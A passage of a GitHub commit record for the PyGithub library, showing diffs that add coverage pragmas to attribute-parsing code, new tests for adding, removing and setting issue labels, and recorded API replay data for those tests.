\"source\" ] is not None:\n+ if \"source\" in attributes and attributes[ \"source\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"source\" ], dict )\n self.__source = Repository( self.__requester, attributes[ \"source\" ], completion = LazyCompletion )\n- if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None:\n+ if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ssh_url\" ], str )\n self.__ssh_url = attributes[ \"ssh_url\" ]\n- if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None:\n+ if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"svn_url\" ], str )\n self.__svn_url = attributes[ \"svn_url\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None:\n+ if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"watchers\" ], int )\n self.__watchers = attributes[ \"watchers\" ]"},{"sha":"fc5cafc09e2b8120e47c2bbdf0e0fa0821ec5ecf","filename":"src/github/RepositoryKey.py","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/RepositoryKey.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]"},{"sha":"7903406c469352d3f3fb897ed9ac9fc9ebc51c3b","filename":"src/github/Tag.py","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Tag.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -38,15 +38,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", \"tarball_url\", \"zipball_url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None:\n+ if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tarball_url\" ], str )\n self.__tarball_url = attributes[ \"tarball_url\" ]\n- if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None:\n+ if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"zipball_url\" ], str )\n self.__zipball_url = attributes[ \"zipball_url\" ]"},{"sha":"ca5b7e13476a30fee9234c6f965019f303e3f33e","filename":"src/github/Team.py","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/Team.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -172,15 +172,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"members_count\", \"name\", \"permission\", \"repos_count\", \"url\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None:\n+ if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None: # pragma no branch\n self.__members_count = attributes[ \"members_count\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"permission\" in attributes and attributes[ \"permission\" ] is not None:\n+ if \"permission\" in attributes and attributes[ \"permission\" ] is not None: # pragma no branch\n self.__permission = attributes[ \"permission\" ]\n- if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None:\n+ if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None: # pragma no branch\n self.__repos_count = attributes[ \"repos_count\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]"},{"sha":"b7b135d5cf476ece019ca1d018fdf3fc48a450ee","filename":"src/github/UserKey.py","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/src/github/UserKey.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @todo No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]"},{"sha":"c0a781c0bffba244aa2e9826770ccc127f1415af","filename":"test/Issue.py","status":"modified","additions":25,"deletions":1,"changes":26,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/test/Issue.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r"},{"sha":"77fa51481ceb340a91f3988b7d570d697065ebe8","filename":"test/IssueEvent.py","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/IssueEvent.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/test/IssueEvent.py?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.event.actor.login, \"jacquev6\" )\r\n- self.assertEqual( self.event.commit_id, None )\r\n- self.assertEqual( self.event.created_at, \"2012-05-19T10:38:23Z\" )\r\n- self.assertEqual( self.event.event, \"subscribed\" )\r\n- self.assertEqual( self.event.id, 15819975 )\r\n- self.assertEqual( self.event.issue.number, 28 )\r\n- self.assertEqual( self.event.url, \"https://api.github.com/repos/jacquev6/PyGithub/issues/events/15819975\" )\r\n+ self.assertEqual( self.event.commit_id, \"ed866fc43833802ab553e5ff8581c81bb00dd433\" )\r\n+ self.assertEqual( self.event.created_at, \"2012-05-27T07:29:25Z\" )\r\n+ self.assertEqual( self.event.event, \"referenced\" )\r\n+ self.assertEqual( self.event.id, 16348656 )\r\n+ self.assertEqual( self.event.issue.number, 30 )\r\n+ self.assertEqual( self.event.url, \"https://api.github.com/repos/jacquev6/PyGithub/issues/events/16348656\" )\r"},{"sha":"fb933714353269eb17e70880daacaf9166d4f742","filename":"test/ReplayData/Issue.testAddAndRemoveLabels.txt","status":"added","additions":45,"deletions":0,"changes":45,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testAddAndRemoveLabels.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/test/ReplayData/Issue.testAddAndRemoveLabels.txt?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,45 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"569c414d87e8ec43ec269a9e28bc2982\"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"b659c8dcc1212c71f826547c3cc7ae99\"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"46cc70bad88a09b559a5e67089005105\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"5352ae15c8a5a36c6cace63be9367332\"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"}]\n+\n+POST /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+"},{"sha":"bbd6ae4ea3dac63b301017dece6f56b34eab6f80","filename":"test/ReplayData/Issue.testDeleteAndSetLabels.txt","status":"added","additions":35,"deletions":0,"changes":35,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testDeleteAndSetLabels.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/test/ReplayData/Issue.testDeleteAndSetLabels.txt?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,35 @@\n+GET /repos/jacquev6/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4974'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"fe2e942523eecb156d100829a6347516\"'), ('date', 'Sun, 27 May 2012 09:06:37 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"}\n+\n+GET /repos/jacquev6/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"931e58d337b2290717303141eda89cd7\"'), ('date', 'Sun, 27 May 2012 09:06:38 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d135d74d2ea2159d044676a220d41d3a\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"color\":\"e10c02\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\"},{\"color\":\"444444\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\"},{\"color\":\"02e10c\",\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\"}]\n+\n+DELETE /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+204\n+[('status', '204 No Content'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d41d8cd98f00b204e9800998ecf8427e\"'), ('date', 'Sun, 27 May 2012 09:06:39 GMT')]\n+\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4970'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"d751713988987e9331980363e24189ce\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[]\n+\n+PUT /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} [\"Bug\", \"Question\"]\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4969'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:40 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('content-length', '207'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"1a56634d9c1050a88592ff55ed8adc62\"'), ('date', 'Sun, 27 May 2012 09:06:41 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+"},{"sha":"282dda36da4958e743c70a1cee5b89df0afce592","filename":"test/ReplayData/Issue.testGetLabels.txt","status":"added","additions":5,"deletions":0,"changes":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/Issue.testGetLabels.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/test/ReplayData/Issue.testGetLabels.txt?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -0,0 +1,5 @@\n+GET /repos/jacquev6/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed'} null\n+200\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"c9f9beccb03030beaf7b80927da6fef6\"'), ('date', 'Sun, 27 May 2012 08:56:31 GMT'), ('content-type', 'application/json; charset=utf-8')]\n+[{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug\",\"name\":\"Bug\",\"color\":\"e10c02\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management\",\"name\":\"Project management\",\"color\":\"444444\"},{\"url\":\"https://api.github.com/repos/jacquev6/PyGithub/labels/Question\",\"name\":\"Question\",\"color\":\"02e10c\"}]\n+"},{"sha":"0de7e5358c98a51af4f18e7ff9559f4a826bfebc","filename":"test/ReplayData/IssueEvent.setUp.txt","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/ReplayData/IssueEvent.setUp.txt","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/test/ReplayData/IssueEvent.setUp.txt?ref=8a4f306d4b223682dd19410d4a9150636ebe4206","patch":"@@ -1,15 +1,15 @@\n GET /user {'Authorization': 'Basic login_and_password_removed'} null\n 200\n-[('status', '200 OK'), ('x-ratelimit-remaining', '4907'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"99c9bfb75395b749e9913a4729126fb5\"'), ('date', 'Sun, 27 May 2012 07:19:30 GMT'), ('content-type', 'application/json; charset=utf-8')]\n-{\"private_gists\":5,\"type\":\"User\",\"company\":\"Criteo\",\"location\":\"Paris, France\",\"hireable\":false,\"gravatar_id\":\"b68de5ae38616c296fa345d2b9df2225\",\"bio\":\"\",\"following\":24,\"blog\":\"http://vincent-jacques.net\",\"avatar_url\":\"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png\",\"total_private_repos\":5,\"followers\":13,\"owned_private_repos\":5,\"disk_usage\":16976,\"collaborators\":0,\"html_url\":\"https://github.com/jacquev6\",\"url\":\"https://api.github.com/users/jacquev6\",\"name\":\"Vincent Jacques\",\"login\":\"jacquev6\",\"public_repos\":11,\"public_gists\":3,\"email\":\"vincent@vincent-jacques.net\",\"id\":327146,\"plan\":{\"private_repos\":5,\"collaborators\":1,\"name\":\"micro\",\"space\":614400},\"created_at\":\"2010-07-09T06:10:06Z\"}\n+[('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '\"8974bb1628a3e3a6d3eb3b08c1b5a46b\"'), ('date', 'Sun, 27 May 2012 07:32:54 GMT'), ('content-type', 'application/json; 